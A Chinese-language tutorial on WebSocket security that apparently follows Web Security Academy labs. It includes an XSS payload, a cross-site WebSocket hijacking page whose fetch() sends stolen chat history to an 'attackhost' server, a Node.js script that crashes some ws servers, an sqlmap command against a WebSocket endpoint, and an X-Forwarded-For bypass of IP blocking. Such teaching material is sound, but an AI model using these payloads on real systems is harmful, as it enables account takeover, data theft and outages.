WebSocket是一種透過 HTTP 發起的雙向、全雙工通訊協定。它們通常在現代 Web 應用程式中用於串流資料和其他非同步流量。
瀏覽器建立websocket的請求說明如下
GET /chat
Host: systw.net
Origin: https://systw.net
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Key: Iv8io/9s+lYFgZWcXczP8Q==
Sec-WebSocket-Version: 13
- Origin: 用戶端頁面的來源。 WebSocket 原生支援跨域,它允許伺服器決定是否使用 WebSocket 與該網站通訊。
- Connection: Upgrade 表示客戶端想要更改協定。
- Upgrade: websocket 請求的協定是websocket。
- Sec-WebSocket-Key 瀏覽器隨機產生的安全密鑰。
- Sec-WebSocket-Version 協定版本,目前為13。
如果伺服器同意切換為 WebSocket 協議,伺服器返回101如下
101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: hsBlbuDTkk24srzEOTBUlZAlC2g=
這裡 Sec-WebSocket-Accept是 Sec-WebSocket-Key,是使用特殊的演算法重新編碼的。 瀏覽器使用它來確保回應與請求相對應。
WSS
不建使用 ws://,它不是安全傳輸。建議使用 wss://,這是一個更安全的協議,它可以防止中間人攻擊之類的事情。因為安全的傳輸從一開始就可以防止許多攻擊
以python 連接websocket為例:
- 一般連接
python3 -m websockets ws://systw.net/ws/
- 用安全傳輸連接
python3 -m websockets wss://systw.net/ws/
refer
https://zh.javascript.info/websocket
https://www.goeasy.io/articles/650.html
websocket安全
websocket常見的安全問題有
- XSS
- hijacking
- DoS
- SQL injuection
XSS
大多數 WebSocket 漏洞都是透過篡改 WebSocket 訊息。
例如,聊天應用程式使用 WebSocket 在瀏覽器和伺服器之間發送聊天訊息。當使用者輸入聊天訊息時,將向伺服器發送如下所示的 WebSocket 訊息:{"message":"Hello Carlos"}
然後伺服器將訊息內容透過 WebSockets傳到另一個聊天用戶,並在用戶的瀏覽器中呈現如下:<td>Hello Carlos</td>
在這種情況下,如果沒有其他輸入處理或防禦起作用,攻擊者可以透過提交以下 WebSocket 訊息來執行 XSS 攻擊:{"message":"<img src=1 onerror='alert(1)'>"}
Lab: Manipulating WebSocket messages to exploit vulnerabilities
hijacking
透過chat與websocket建立連線,請求大致如下
GET /chat HTTP/1.1
Host: 0ae1001c04f50fd0c0da015900a200b0.web-security-academy.net
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Upgrade: websocket
Origin: https://0ae1001c04f50fd0c0da015900a200b0.web-security-academy.net
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=Fd5tcbzt1pI5dyZKqlQh5C5mnkut8tlJ
Sec-WebSocket-Key: UFtiwjoGeYFodJPCYSWiGg==
與websocket建立連線後開始訊息交換
to server
READY
to client
{"user":"CONNECTED","content":"-- Now chatting with Hal Pline --"}
仔細觀察這個websocket建立的請求後發現3個風險
- 這個請求沒有使用CSRF-TOKEN,因此可以劫持使用者的連線
- 對websocket傳送READY,可顯示過去的聊天記錄
- Origin內容拿掉也可正常運作,表示目標未做Origin限制,任何來源都可以使用websocket
基於這些風險,可以準備以下攻擊頁面
<script>
websocket = new WebSocket('wss://websockethost/chat')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY");
}
function handleReply(event) {
fetch('https://attackhost/?'+event.data, {mode: 'no-cors'})
}
</script>
當使用者開啟此攻擊頁面,會以使用者身份與websocket建立連線,接著傳送READY給目標取得過去的聊天記錄。只要到攻擊者主機attackhost
查詢即可,內容大致如下
GET /?{%22user%22:%22You%22,%22content%22:%22I%20forgot%20my%20password%22} HTTP/1.1
...omit...
GET /?{%22user%22:%22Hal%20Pline%22,%22content%22:%22No%20problem%20carlos,%20it's%209wrc07ttgnx80bkhpv4x%22} HTTP/1.1
把websocket傳過來的歷史聊天記錄urldecode後,可以發現使用者的密碼 9wrc07ttgnx80bkhpv4x
GET /?{"user":"Hal Pline","content":"No problem carlos, it's 9wrc07ttgnx80bkhpv4x"} HTTP/1.1
Lab: Cross-site WebSocket hijacking
refer
https://christian-schneider.net/CrossSiteWebSocketHijacking.html
DoS
WebSocket 預設允許不受限制的跨域調用,這會導致 DoS 漏洞。 以下是導致 WebSocket 伺服器崩潰的常見腳本,該腳本會影響某些 ws 用戶端版本:
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
refer
https://www.cobalt.io/blog/a-pentesters-guide-to-websocket-pentesting
https://brightsec.com/blog/websocket-security-top-vulnerabilities/
SQL Injection
直接透過sqlmap跑
sqlmap --url "ws://systw.net/ws/" --data='{"status":"database","token":"sefji8aeaesfrhj2984afb"}' -v 3
也可以使用sqlmap搭配透過中轉工具像是Ws-Harness
refer
https://www.freebuf.com/articles/web/281451.html
https://2h3ph3rd.medium.com/sqlmap-over-websockets-353cdcd9a7ab
https://zero-s4n.hashnode.dev/fuzzing-websocket-messages-on-burpsuite
其他補充
某些系統偵測到攻擊會把IP加入黑名單,讓IP就無法與websocket建立連線,
以下為websocket的例子
to server{"message":"test"}
to client{"user":"You","content":"test"}
to server{"message":"<img src=1 onerror='alert(1)'>"}
to client {"error":"Attack detected: Event handler"}
server發現有攻擊行為,接著client就無法與websocket建立連線
但如果在重新建連線時透過X-Forwarded-For換不同IP,就能騙過server,如下
GET /chat HTTP/1.1
X-Forwarded-For: 1.1.1.2
接著就可以和websocket建立連線行為,並繼續嘗試攻擊行為
to server{"message":"<img src=1 onerror='alert(1)'>"}
Lab:Manipulating the WebSocket handshake to exploit vulnerabilities